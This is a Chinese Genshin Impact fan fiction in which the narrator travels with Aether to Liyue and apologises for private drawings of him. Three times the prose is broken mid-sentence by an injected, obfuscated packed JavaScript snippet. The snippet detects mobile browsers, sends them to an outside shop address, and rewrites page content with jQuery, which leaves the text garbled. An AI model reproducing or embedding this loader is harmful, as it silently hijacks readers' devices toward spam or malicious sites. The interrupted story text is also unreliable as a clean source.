自从回来后没多久,阿贝多就失踪了,估计又是去雪山做实验。直到今天,他忽然把你叫到工坊里,给你做了一套细致的体检。又与你探讨了几个和璃月有关的问题,还把这玩意送给了你。 口袋锚点,模仿传送锚点创造的道具,一定程度上能与地脉相连,实现传送功能。对神之眼持有者而言,应当是非常便利的小物件。 你掂量着巴掌大小的物件,抬头看了看阿贝多。 “虽然传送锚点的作用原理还没有完全解明,使用时说不定会产生未知的负面影响……?”阿贝多伸手轻点锚点的顶端,随后笑盈盈看着你。 “为什么突然把这个给我?” “就当是临别赠品吧。”他继续轻点口袋锚点,低垂着眼帘将所有情绪收敛,“你知道它的作用,未来或许能帮到你。” 可是……你从没使用过啊,虽然知道是干什么的,但不知道具体怎么操作,平时遇到就摸一把也只是记录在卷轴里开地图的。 但好歹是他的心意,你还是收下了,万一未来某天顿悟呢? 离开工坊后,你路过喷泉,看到派蒙在猎鹿人那边和安柏聊天,而这边有两个熟悉的身影,一个坐着,一个站着……等等,空和阿纳托利?他们表情有些严肃,在说什么? 只是你还没靠近,阿纳托利就直接看了过来,微微点头:“来得正好——就是这样,我会和你们一起旅行。” 你点头,有些紧张看着他们俩:“我还想着怎么说呢……你们就聊上了?” “没事的,大致的情况我已经了解了,多一个人也无所谓。”空侧过头看向你。 “嗯……不过我还有事,先行一步。” 你看着阿纳托利匆匆离开的背影,又低头看着少年——他坐在喷泉边上,手撑着边缘,同样望着你,金色的发梢微微摆动,眼瞳泛着微光,你的目光从上到下,不自觉多在他裸露的腰腹上多停留了几眼。 “咳……”他挪开视线,握拳抵在唇边轻咳一声,“对了,有件事想问你……你体内的那个,被称为人性意识碎片?” 还好他及时的提问将注意力拉了回来,你左看右看来往的人群:“这里人多眼杂,我们去别的地方说吧?” 于是你带着他一路走着,直到在公园的一角才停下,蹲在花坛旁招呼他,将祂最基本的情况告诉了他,除了「吞噬」。 听完他沉默了下来,没想到情况这么复杂,张了张嘴:“我想,或许祂是一个魔神的人性面,失去了之前的记忆……” 这种可能性你也不是没想过,隔壁的隔壁水之国不就有个例子? “与你和谐相处,甚至帮你抵御深渊侵蚀。”他低着头喃喃自语,忽然抬起头,“那祂,有什么特殊的权能吗?” “这个嘛,不清楚,但有一点我可以确定。”你张望了一圈,凑过去小心翼翼的,“祂能通过我的感官知道目前发生了什么。” 他微微拉开了距离,眼睛也瞪大了,四处看了几下,还好这里只有你们俩。他闭上眼将思绪收回去,再次看向你时全是紧张:“那祂岂不是……可以随时掌握你的情况?” “嗯,毕竟我们是一体的,我知道就等于祂知道……就当祂在小黑屋看了漫长又无聊的电影。” “能想象出来祂的状况了。”他顿了顿,“但如果,我说是如果,未来某一天祂恢复记忆,不想继续隐藏了,会……怎样?” “取代我?”你撑着头,叹气,“哎,希望祂能看在多年相处的份上饶我一命……” “不过,人性意识…碎片……那祂的神性……” 话语未落,突然一片阴影笼罩你们,伴随着塞西莉亚花的清香,不知道的还以为天黑了,惹得你们顿时紧张抬头——什么时候? 一般路过的吟游诗人对你们蹲在角落窃窃私语的行为很是不解,青绿色的眸子饶有兴致地左右转动:“荣誉骑士,还有……南柯,你们在这里说什么悄悄话呢?” “温迪……你刚刚听到我们聊了什么吗?”空扯着略微僵硬的嘴角。 “欸嘿,我只是在采风刚好路过而已,你们这样……是在做什么我不知道的游戏吗?”温迪俯身叉着腰,眼珠子左右转了转,依旧是捉摸不透的笑容。 “那这位不务正业的吟游诗人,你还欠我几次酒钱呢。”见他如此,你无奈挑了挑眉。 “咳咳咳……”他猛地咳嗽起来,直起身后退几步,捂着心脏皱巴着五官,可怜巴巴的,“别啊,今日的初次见面就要谈钱吗?好过分~” “刚好想到就提醒一下。” “这可太刚好了……要不,用诗歌来抵?”他恢复俏皮的表情,还对你眨眨眼,“我知道一处很好的驻唱场地,保证有你想要的,旅行者也要一起来吗?” “不了,我得先回去找派蒙,你们先去吧。”空起身拍拍灰尘。 “哼哼,那太可惜了,我们走吧~”温迪遗憾摇摇头,向你伸出手。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 在正式出发的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249988|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一天,阿贝多将最终稳定版·抑制剂,交给了你。 “针对你之前的提议,将容器升级更耐摔了,不过要记得……”阿贝多从柜子里取出之前就准备好的一盒子药剂,转头就发现你在另一边的桌子上看着什么。 少女黑色如瀑的发梢自然垂落,头顶翎羽因为专注于画稿而微微往上翘着,他下意识放轻了脚步,慢慢侧着身子端详你认真的脸庞——桌面上是一沓给《沉秋拾剑录》画的未完成稿。 “喜欢吗?” 你还在沉浸这构图、这线条、这色彩、这张力的惊叹,忽的,耳畔传来压得极低的嗓音,带着不易察觉的期待——你侧头瞥见他近在咫尺的脸庞,几乎是条件反射往旁边退开一步。 这该死的心跳别跳这么快,阿贝多也是,为什么突然靠这么近,吓唬人好玩吗? “不愧是白垩老师,这些是未完成的画稿吧……真好看。”你把视线挪到画上,不再看他。 “嗯,这幅是根据这一段的来想象的……”他直起身,不着痕迹瞥了你一眼,伸手取下一旁的便签递给你,开始讲如何将文字的叙述用更为恰当的画面表现出来,还有用到的色彩搭配与线条张力如何配合。 大概过了半个小时,门口处传来风铃的响动,在你们转身之际,派蒙已经凑过来挥手打起了招呼。 “阿贝多,这是你要的素材。”空不知从哪掏出一堆的炼金素材放在门口的桌面上,除了寻常魔物的掉落物,好像还有急冻树的核心。 在他们确认素材的同时,派蒙飘到你旁边:“你在看什么……《沉秋拾剑录》?” 对上她好奇的大眼睛,你开始安利这本书,然后指着未完成的画稿,对她故作神秘笑着:“要不要猜猜这是谁画的?” “唉呀,好难猜……不会是阿贝多吧?”她看了你一眼,带着些许笑意。桌面除了画稿还有其它的作品,还有各种画具和颜料,成堆的纸张,这个角落一看就是专门画画的位置。 派蒙看了一圈,发现角落有一幅的风格明显与周围的不同,仔细一看,角落还有你的签名! “哇!南柯,这是你画的?和阿贝多的完全不同!” 什么?你的画?完全不同?你顺着她的视线望过去——这张你记得是早些时候很随意的涂鸦,被阿贝多点评为配色运用之大胆、构图创意之精妙、主题立意之奇特—— 这是你不懂事画着玩的——提瓦特版“梵高の星空”,配色还是紫黄、红绿色的,为什么他还留着裱起来了?! “旅行者快来看!” “啊啊啊啊,住手啊——” 38.第32.5章 论18+图被当事人发现的后果(番外五)[番外] 有空的时候,你也特地研究过旅行者——他的背包,真的是那种异次元背包诶! “这也太好用了叭——” 看着他从空中掏出路上薅来的各种甜甜花、薄荷、铁矿、水晶块……为了让你看清,还示范把获取的素材当着你的面放进去—— 那些东西在你面前一眨眼就被什么无形的吞掉,只余下点点微粒逸散在空气里,根本观察不出具体是怎么被收纳的。 还有无锋剑也是往空中一扔就自动收回了,要用到的时候再一抓—— “为什么我没有……”你有些眼馋,说实话,同样不属于提瓦特,外星人与外星人之间亦有差距。 “如果你信得过我的话,可以把不怎么经常用的存放在我这里。”金发少年如此说着,“反正我们以后是要一起旅行的,这样还能减轻物理上的负担。” “啊?真的吗?不会占你的空间吗?” “不用担心,到目前为止还没到塞满的时候。” “这个能力好哇,听说神之眼持有者也可以把经常使用的武器存放进神之眼里,就是空间不大。”你将今日份的委托对象——采集好的一捧小灯草递给他,“只是只是,我还是有些好奇——可以放活物吗?” 记忆里确实不行,但,实践出真知,你如此认真看着他。 “理论上是不行的哦……”他接过那一捧小灯草,幽蓝的微光聚集在一起有些亮了,将周围的灌木也染上些许荧光。 “有道理,毕竟是次元背包,而不是洞天……”你站起身拍拍草屑,继续走在前面寻找小灯草。 虽说问了这么多,但你还是想知道一个问题—— 趁着中途休息的间隙,你根据回忆将两朵花画出来,一红一粉,瞅准他有空,再“唰”地摆在他面前:“这个!贪生怕死角斗士,勇往直前少女心的圣遗物!你有见过吗?也不一定是这两个,比如你有没有捡到过很特殊的东西,比如羽毛,沙漏,杯子,头饰什么的,从直觉上就能感觉那是不一样,噼咔的…那种!” 真是疯了,你抓着素描本的手指不自觉用力。游戏设定和剧情不能混为一谈,来蒙德这么久,你都没见过那个大门,但……如果是这位天天高强度完成4个日常委托的荣誉骑士的话,说不定真的见过? 他被你突然间的一轱辘的话语和突然呼过来的本质,惊得呆毛都直了,不过他很快放松下来,抬眼看向你,无奈轻笑一声。 “你画的这些……我并没有见到过。”他摇摇头,略微思索之后,取出一朵黄色的小花,“但如果你是指蕴含特殊力量东西,这个倒是符合,之前在……” 黄色的小花有巴掌这么大,五片花瓣,中间花蕊的颜色更浅一些,还带着嫩绿的颜色。 他在讲述是之前他和派蒙在某个遗迹深处发现的,周围都破旧得不成样,唯独这朵花还是如此鲜艳,看着就不一般,于是他带出来了。 “原来如此……”你收起素描本若有所思。果然,圣遗物是不可以批发的啊。也对,这才是正常,不然他应该会有原石来着……嗯? 你盯着他,他还在讲。 注意到你的视线,他停下来疑惑:“怎么了吗?” “不,没什么,只是想……只有这朵花的话触发不了效果,有点可惜。”你淡淡说着。 “诶?” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 目睹过你的绘画能力后,空拜托你帮个忙,根据他的描述,你画出他妹妹的肖像画——简单,之前可没少画过他们俩。 少年接过去的时候整个人像是被定格了,出神地注视着画面,似乎陷入了回忆中,捏着纸张的手不自觉用了点力。 “……谢谢…画得很像,谢谢。” 沉默了好久,他终于不再紧绷着身子,将画小心翼翼收进背包最深处,缓缓向你伸手却又停在中途,最终抬起头看向你——眼底似乎蕴含着某些复杂的情绪,你有些说不清,纠结、期待、探究。 没由来的,你浑身一颤。 “最开始见面的时候,在天使的馈赠,你的速写本被大家传阅时,我发现其中一页有一朵花……”空的手轻轻落在你的肩头,指尖有些轻微发颤,“也就是刚才我描述的样子,在和妹妹分离时,她头上就戴着……我在图书馆查阅过了,起码在蒙德……是没有那种花的……” 什么叫本子里有因提瓦特?你什么时候画了那个? “等等,我得捋一捋……”你微微往后仰着,试图避开他的视线。 本子?速写本?第一次见面的时候好像确实给他看过来着,但里面还画有什么需要再看一眼才知道,哦……好像不在身边,应该没带…… “请再仔细想想,那朵蓝白色的花,它就在本子的最后一页!”空上前一步缩短了之间的距离,语气急切,抓着你的手也不经意收紧了一下。 “你是怎么知道花的样子的?是在哪见过?还是……你见过……她吗?” 他憋了太久了,最开始由于时机不对,一直没问,后面也因为要拯救特瓦林而暂时搁置一边,而你中途又因为碰了风龙泪滴倒下。 再等你醒来,每次想开口时却无从开口,现在总算有机会了……“拜托了,请把你知道的一切告诉我。” 少年的眼底闪烁着微光,在发梢的阴影下却显得有些暗淡。 “等等……就算它真的存在,本子现在也不在我身上,得回去才知道。”你实在不知如何回应,说你本来就知道?又为什么本来就知道呢? 你需要点时间缓冲思考。 “好……我们回去取……”他得以喘息那般骤然卸了力道,随即回过神,退开一步,再次小心翼翼抬眼,“抱歉,刚才有些激动了,那些线索真的对我很重要……” “我知道,没事的。毕竟她可是你在这个世界上唯一的血亲,虽然我并没有见过她,但……我会力所能及帮助你的。” 少年扶着额头闭上眼,扯出一抹苦笑,跟在你身后不远不近的距离,睁开眼,目光长久地盯着你的背影,缓慢伸出手试图抓住什么,又缓缓垂下。 如果他的记忆没出错,按理来说最有效的方法是寻找七神,说不定就能找到那陌生的神灵,而如今相关的线索居然出现在一个人身上,还是穿越者。 他忽然有某种预感,未来的一切似乎都不简单了…… ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 因为要踏上旅行,最近你有空就收拾住所里的东西,再加上是一个人住,这个房间目前来看就像杂物间那般的凌乱…… “抱歉旅行者,房间有点乱,可能要花点时间,要不……”刚打开的房门又被你快速合上,“咱们一会儿在猫尾酒馆见面?” 虽说只有一瞬,他还是不小心看到了,是挺乱的,不过乱中有序。他摇摇头:“没事,我可以在外面等,或者……如果你不介意的话我也可以帮忙找找。” 也好,多一个人效率更高一些,不过也是时候想想说辞了,如果记忆没出错,首先就是没见过,其次是没见过…… 这一类的速写本你都整理好在箱子里了,数量类型众多,万一被他开出18+的怎么办? 不不,应该不会,你想你已经很好分类了,而且你一般会把首页和末尾留一页空白当做缓冲,怎么可能这么轻易翻到…… 他要是知道以你画过他的瑟图……绝对会掏以理服人当场给你来一下的!!! 小心翼翼瞥向他的位置,他正背对着你翻看另一箱,嗯,看样子目前没被他翻到什么不该看到的东西,不过—— 你看了眼手里的本子,他说的那个速写本后面确实画有,可恶!到底是什么时候的事,偏偏那天被他发现了,也不是不想被看到,但很难解释啊! 总之,找到了就先转移他的注意力吧。 你摊开手里的本子,那朵很随意勾勒的小花就在角落,你故作淡定清了清嗓子,将本子递过去:“咳…你说的那个在这里,这么说来,我好像是梦到过……” 用梦境作为借口简直是完美! 这种模糊且不确定的说辞也没法深究,除非他像阿贝多那样进入你的意识海。 你以半是犹豫半是回忆的姿态去描(胡)述(扯)——梦中的少女绚烂、轻盈,她就这么对你伸出手作邀请的姿势,她笑着,似乎说了什么,只可惜梦境太过纷杂,跟本记不清,只记得有什么很好看的小花落满你的掌心…… 说完后盯着他的背影等待回应…… 少年依旧留了个后背给你。 ……不兑?怎么没反应? “荣誉骑士?旅行者?空?” 在你准备过去拍拍他肩膀时,他忽然合上手中的本子回过身,耳尖微红,一味盯着你手里的纸张:“嗯,我知道了,能告诉我更多梦的细节吗,比如环境是怎样的?” 你垂下眼睑,说实话,虽然是临时起意,但这个画面在脑海里莫名逼真,似乎还真能回忆起什么……奇怪?想象力太好脑子当真了? 但为了这个说辞的合理性,你依旧是随意说了点莫须有的细节,半真半假又朦胧的感觉是没法二次追问,就这么定了! 只是这样,你总感觉良心不安。 “嗯……谢谢你的线索,那个,我突然想起有个委托要超时了……” 少年忽的站起身就往外走,金色的披风模糊了视野,也吸引着你的注意,等你抬起头,他已经快步走出房间,还贴心给你带上了门。 啊? 怎么这么突然? 你现在略显凌乱的房间里陷入了沉思,视线落在他刚才翻找到箱子里——似乎都一一归位了,甚至看不出有翻找的痕迹,他刚才看的是什么来着? 你感觉有些不妙。 丸辣! ┄┄┄┄┄┄┄┄┄┄┄┄┄ 从一开始就陪伴在旅行者身边的白色小精灵左看看——金发异乡人在和凯瑟琳沟通中,疑惑。右看看——你扒拉着墙角,平静地欲言又止,派蒙更是不解。 “喂……这几天旅行者好奇怪,天天接委托,完全不休息的,甚至都要昼夜颠倒了。”小精灵凑到你旁边小小声,“而且我感觉……他是不是太累了?” 没错,她发现了,从某一天开始,旅行者经常接需要出城的委托,经常在外边逗留很久,就算回来了,也是简短地交流,然后又是投入新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249989|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一轮的委托中。 “我想他缺原石了。” “诶?真的假的?” “不知道……我感觉他在生气……” “额……我怎么觉得连你也不对劲起来?” 这样你试图找机会道歉,然后完美错过,或是阴差阳错被打断节奏,好不容易攒起的勇气跟戳破的气球瘪下去,几次你伸手、停下。 他应该不会生气吧?不好说,最近和你见面的次数明显少了,说话也客客气气的,基本都是小派蒙在和你愉快聊天。 但那天他又没什么更大的反应,啊不不不,找借口离开就已经是暗示了,起码你是这么认为的。 不管怎么说,未经他人同意侵犯了肖像权,还被当事人发现……怎么想都得道歉,就是具体如何操作……你拿不准主意。 “派蒙,这个!”你把事先准备好的道歉必需品,两盒自己做的烤庄园松饼塞给她,“拜托你交给他,这个也有你的份!” “烤松饼!不过……为什么你不自己去呀?” “因为……阿贝多老师那边需要我的帮忙,拜托了!回头再请你吃好吃的!” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 派蒙还没来得及回应,那人就跑没影了,她抱着两盒吃的吞了吞口水,猛地摇头,转身举着盒子飘过去:“旅行者,你看你看——南柯做了烤松饼给我们哦!她还特意说这个是给你的,嘿嘿。” 金发的少年结束刚才的交流后就停在原地,看了眼刚才的墙角,视线回到派蒙开心的小脸上,这才转过身接住那盒子。里面的点心显然是自己动手的,堆放了他偏好的口味,盒子内壁还贴了张小纸条,似乎写了什么…… “咦?道歉的小纸条?她为什么道歉?”派蒙已经开动了,飘在他身旁嚼嚼嚼,“说起来,你们最近是不是吵架啦?” “没有,只是遇到了些事,我需要时间整理一下思绪……” “唔……所以到底发生了什么?派蒙我可是看出来了,老实交代——” “不用担心,只是……我还不知道如何面对她那部分创作。” “创作?她拿你当素材啦?” “额,差不多……” “所以她到底把你画成什么了,不过……她应该不会做出需要道歉的事吧,难道是你不好意思了?” “别,别乱猜了,总之我没有生气,她也不需要道歉的……” “什么嘛,这么神秘的吗,不过她这种道歉方式,你打算怎么做?” 闻言,空抬起头望向你消失的位置,若有所思。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 直到真正出发的前一天,他和你的交流点到为止,极为客气,似乎回到了旅行者模式,只对委托报酬感兴趣。 从阿贝多工坊里逃出来,摇摇头,试图把某些黑历史画面给甩掉——阿贝多把你早期的“提瓦特版·梵高の星空”给裱起来,还被派蒙和空发现了! 在你加快步伐准备拐进更深的巷子时,侧面走出一个人把你拦住了,你险些刹不住车撞上去! “你忘了这个……”金发少年稳稳扶住你,拿出那盒抑制剂递过来,“阿贝多让我送过来的,很重要的东西,别忘了。” “哦哦,谢谢……”你飞快接过来收好,看到他有些窘迫的神情,连你的内心也紧张起来。 “刚才那幅画……”他缓慢松开手,视线游移,“其实,挺特别的,派蒙看了好久都没看懂,倒是挺有你的风格的。” “放过孩子的黑历史吧……怎么就被裱起来了呢……” 闻言,他松了口气,一个深呼吸过后再睁眼,语气也放软了些:“对了,之前的一些事,我有些不知道如何面对你,那个……” “果咩纳塞!灵感是止不住的,但我已经封笔啦!放心!那种画不会再出现污染你的眼睛了——所以请不要生气!”跟触发什么关键词似的,你干脆闭紧双眼,一口气道歉,不管怎么样,先说为敬! 一口气吐出打了好久的草稿,心跳和呼吸有些紊乱,嘴唇也有些干涩,你依旧闭着眼试图去捕捉那细微的声音。周围安静得连远处的喧嚣都像是隔了层膜,朦胧不清,几乎要被你自己的呼吸声掩盖。 “……我没有生气,你也不需要道歉。”过了许久,他轻声开口。 极轻的话语在如此安静的氛围里几乎震耳欲聋,你掀开眼皮抬眼——真的吗? “我只是不习惯被那样入画……而且,也不至于封笔,最多,你要画我的话,可以先跟我说一下,好方便准备……” “我就知道旅行者你大人不计小人过,心胸宽广得甚至能容纳我的xp——”你彻底睁开眼,板正腰杆,神色严肃,“感谢授权,一切与你相关的画稿去向由你来决定。” “就这么说出口了吗?!”他下意识抬手虚扶额头,闭眼微微叹气,“总之,妥善收好——你应该没给别人看到吧?” “没有,你是第一个呢。” 他闭了闭眼,挪开视线:“咳……好了!那个,旅行的物品都准备好了吗?” “放心,都齐全了。” “那……到时候见吧。” 39.第33章 目光与注视 顺着主干道经过清泉镇,穿过一段峡谷,再途经晨曦酒庄,越过石门,继续朝着南走,就来到了荻花洲。 苦竹林边芦苇丛,停舟一望思无穷。 久远的记忆似乎被唤醒了,面前一望无际的芦苇丛如同海浪那般起起浮浮,大概是最近下过雨,河边的土壤有些泥泞,你蹲在稍微干燥的石头上,盯着不远处的金鳅鳅——哦豁,是六角龙! 对方发现了你,扬起脑袋朝你歪了歪头,迅速溜进芦苇里,只剩下一个鳅鳅宝玉…… 你伸了伸手,半天都够不着,在准备找根树枝时,另一只修长的手臂先一步拾起,再递到你面前,黑红色的手套里躺着白到泛蓝的珠子。 “你要的。”阿纳托利顺便把你给拉起来,“午餐已经做好了,回去吧。” 你们走了十多天,四人相处颇为融洽,大半都是派蒙在叽叽喳喳,你和空在配合,最后一位选择性回话。 两位大厨的存在,极大地提升了饮食质量,也满足了派蒙的食欲,你看着她将大半的美食尽数消灭……总感觉,是不是沉了些? “别以为用美食就能收买派蒙,我可是旅行者唯一的向导——老实交代,你以前是做什么的?” 阿纳托利把刚烤好的肉串塞进她手里,试图以此堵住小精灵的嘴。 “他以前是杀手~”你张口就来。 “啊?”派蒙咽下嘴里了肉,“真的假的?” “对的,派蒙,没错,派蒙……”你煞有介事说着,“就是你想的那样。” “哦,好、好厉害喔……”她盯着手里的烤串,顿时感觉不香了。 “派蒙不要怕,杀手也不是每天都要噶人的。”你细嚼慢咽,慢慢回忆起过往来,“杀手也是人,也需要正常生活的,比如打扫、做饭、训练……” 听着你们有些忍俊不禁的对话,阿纳托利轻微叹气,将手里的烤串翻了个面,洒上调料。 他对你的话不置可否,既然你这么说,他也不介意配合你,也不在意别人怎么看待他,倒不如说这样更能规避一些麻烦。 派蒙回忆这段时间的相处,这个白毛面具男确实都在干这种事——遇到魔物时和空一样第一时间冲出去、收集食材做饭、准备驱蚊草药等等…… 似乎你说的也有几分道理,她决定暂时信了——因为他做的真的很好吃,虽然在她心里还是空的更契合她的口味! “不过……我有个问题一直想问了,你们愚人众真的一直都要戴着面具吗?吃饭睡觉洗澡不摘下的吗?”吃饱喝足,派蒙问出了终极问题。 像是河畔被一尾鲤鱼的跃动搅动起水花与无数的涟漪,所有人的视线都悄悄集中到阿纳托利身上,他的手掌撑在下巴处,淡淡地回望一眼派蒙。 “呜……”她呜哇一声,往空那边靠了靠,“不好意思,如果不能说就当我没问。” “……只是习惯了而已。”阿纳托利的手指摸了一下面具的边缘,红光缓慢亮了一下。 “大概是因为信仰吧?”你坐在一旁举着不知从哪薅来的叶片,随意折成各种形状,“那个口号是什么来着……‘为了女皇大人’?总之为了追随冰之神然后抛弃过往的一切……这样?” “哦——原来是这样。”派蒙像是被说服那般用力点点头,转身就凑到空耳边,小小声的,“我感觉这个愚人众好可怜,被洗脑了都不自知……” 少年只是笑笑不说话。 派蒙故意严肃起来,飘到半空清了清嗓子:“我决定了——” “勉为其难给你们当一回向导吧,你,尤其是你!”她小手猛地往前一指,阿纳托利甚至颇为疑惑指了指自己,她扬起不怀好意的笑,“我的薪资可不低,得要你每天做好吃的!” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 这一带总是多雨的,上一秒还晴空万里,下一秒就阴雨绵绵,闷雷滚滚,雨帘将远处的景色模糊成山水画,你们险些失去方向。 等你们好不容易跑到望舒客栈时,所有人都成了落汤鸡…… 你们顺利要了几间房,兴许是放松下来后,长途跋涉的疲惫很快吞没了你,你收拾好自己后就直接钻进被窝里,迅速沉睡…… 雨势逐渐滂沱起来,却没有更大的风,水花溅在窗棂,又汇聚起来往外流,惨白的雷光一闪而过,映出屋内单调的布置,滚雷声接踵而至—— 昏昏沉沉,似乎有什么红到发黑的物质从身后袭来,无声缠绕着你,将你往下拽——你奋力挣扎,却又无法发声,力气也快速流失,思维也愈发粘稠起来。 那些形如潮水的哭号与咆哮在耳边此起彼伏,它们调动着情绪,试图将你同化…… 「逼逼赖赖的吵死了!」 意识突然回笼,你猛地睁开眼,心跳声随着慢慢恢复的视野逐渐平稳,过了半晌才意识到现状。窗外透露着些许晨光,带着氤氲的水汽均匀洒进来。 有些记不清到底梦见了什么,只是觉得身体有些沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254278|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重,可能真的是太久没在野外生活过,有些不适应吧……? 你们打算在这里休整一下继续出发,顺便跟着空把附近的采集点给犁了一遍,只是……不知是心理作祟,还是第六感太强,偶尔你会感觉有什么人在暗处盯着你,再转头,那种感觉瞬间消失得无影无踪。 是……是错觉吧? “……喂,你还好吗?”少年在你身侧叫了半天,最终他伸手碰了一下你手臂,“看什么呢?南柯?” “感觉你好像没精神的样子,昨晚没睡好吗?”连派蒙都落到你另一边关心起来。 “没有,昨晚睡得可好了,刚才我只是走神了而已——既然采集完了,我们就先回去。”你急忙摇头摆手,边退边走。 空稳步跟上,视线掠过你的身影时,托着下巴若有所思…… 不过离开望舒客栈之后的路上,那种感觉又消失了,仿佛真的只是你自己的错觉,只要没什么大问题,就暂时不追究,继续按照之前的步调跟上旅行者的步伐。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 璃月港,依山傍水的港口城市,是提瓦特大陆上最大的集贸港口,光是站在城外的那个传送锚点旁就没法估量其规模究竟有多大——这还是你记忆中的游戏画面吗?怎么有点不太对? 不不不,你早该熟悉实际情况比游戏还要大了,当初在至冬堡和蒙德城你还是忍不住惊叹了一下,已经开始期待之后的主城区了! 你们一边穿过人群游走在街道,一边打探关于请仙典仪的事……严格来说是空和派蒙在打听,你跟在后面,目光偶尔在不同的商铺间流转,阿纳托利则落下好几丈的距离,也不知是职业习惯还是别的什么,专走边边角角,有时候还以为他要失踪了。 “哦——糖水铺子!” “哦……不对,你怎么比我还要容易被吸引啊?!” “抱歉派蒙,看到和家乡差不多的东西,忍不住想要靠近……” “家乡啊……好吧,不过你可别逛太远了哦。” 兜兜转转,从绯云坡一路向下来到吃虎岩附近,你绕过几个人,视线越过人群、越过池塘中央的荷花,在注意到那人的一瞬间,你仿佛连路都不会走了—— 解翠行的摊位面前站着个人,那人身姿挺拔,举止优雅,哪怕只是简单地站在哪里,都散发着无形且浓厚的沉稳,那双似乎能摄人心魂的眸子,此刻专注地凝视手中的玉石。 等等,你发现了谁? 40.第34章 熟悉的景与情 “怎么了?”空碰了碰你的手臂,顺着视线看到了那个男人,“为什么要看着他?” “啊,没有没有!只是看到一个很漂亮的石头——”你急忙后退一步,结果刚好碰到阿纳托利,惊得回头看了他一眼。 “啊?漂亮石头?是宝藏吗?在哪里?”派蒙被你们的声音吸引,还飞起来到处看了看——那边的摊位上确实在售卖石头,至于好不好看……她看不出。 阿纳托利虚扶你的背,往后退开一点:“先去别处看看吧。” 感谢搭档的解救,你几乎是逃也似的往回折返。 消息也打听得差不多,该动身前往玉京台参加请仙典仪,亲眼见证人们口中的岩王帝君了——只是刚经过绯云坡第一道空中走廊时,阿纳托利跟你说他先去找好旅馆,让你们先去看。 不去看吗,有点可惜,算了,考虑到他的身份还有眼下的情况,提前离开也是个正确的选择。 “这里人真多啊……”派蒙凭借身体优势,飞在半空带领你们前进。 穿过莲花池的走廊,又顺着复数的阶梯往上……等等,一会儿跑不快咋办? 动用卷轴也不是不可以,就是这里人太多,施展不开,算了,到时候跑吧……是时候检验你在至冬摸爬滚打的成果了! 从一开始你就以龟速跟在空后面,越过熙熙攘攘的人群望天望地——诶,从这里滑翔下去的话……会当成靶子的吧…… “……别发呆了,我们一起默念愿望向香炉进香吧!”派蒙直接整只人在你面前晃悠,见你终于回神,指向一旁的香炉,“听说可以沾沾仙气哦,来吧来吧~” 愿望……你跟着他们的动作闭上眼默念起来——回家?这个似乎已经快要淡忘了,要不就,希望旅途平安…… ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 一年一度的请仙典仪由璃月七星主持,上一次是玉衡星大人,这次是——天权星,凝光。 飘飘纷纷,云上似坠雪尘。 密密疏疏,一字贵如奇珍。 动念间,河山气吞。 人尽知,天权为尊。 白金黑色交织的旗袍,以银杏为点缀,白发垂直小腿,额间的红色流苏衬着红色的眸子,醒目又传神,尊贵且典雅……你忍不住抽出速写本就这这个角度画了下来—— 不行,亲眼见到老婆实在是太好了,只有把她画下来才能缓解你的紧张的心情! 空微微侧头,不经意瞥向纸张上的画,又盯着你有些满足的神情,悄声提议:“我们去前面仔细看看吧?” “好啊,空宝,没问题,空宝!”你立马收起速写本看向他。 只要是老婆,让你做什么都行—— “咳……都说了这个称呼私下说就行了……”他被你一连串的昵称搞得不知所措起来,耳尖也染上绯红,原本想要拉你的手开始犹犹豫豫。 “嗯?你们在干什么呢?我们过去看看吧!”派蒙在你们面前再次来回晃悠,挥舞的小手看起来十分期待接下来的情景。 空点点头,深吸一口气直接拉过你的手腕往人群中穿梭,慢慢挪到最前面。 …… 变故就是来得这么突然,以凝光为首开始举行请仙仪式,当众人还在期待岩王帝君的化身是怎样的时候,原本万里无云的天空瞬间沉了下来,天地暗淡,无形的气流凝聚成旋涡,然后一条棕色的龙自浓稠的云层中“啪叽”一下砸在场地中央的供台上…… 周围的人开始议论纷纷,空也有些不安地收紧了手,环视一圈后下意识转向你,鎏金色的眼眸直定定与你对视,神情严肃—— 几乎是同时,你回望他,其实也有些紧张——像是准备要进行800米跑的那种,还没到终点就躺在地上半死不活,翻着白眼宛如搁浅的鱼,死不瞑目。 “帝君遇刺,封锁全场——” 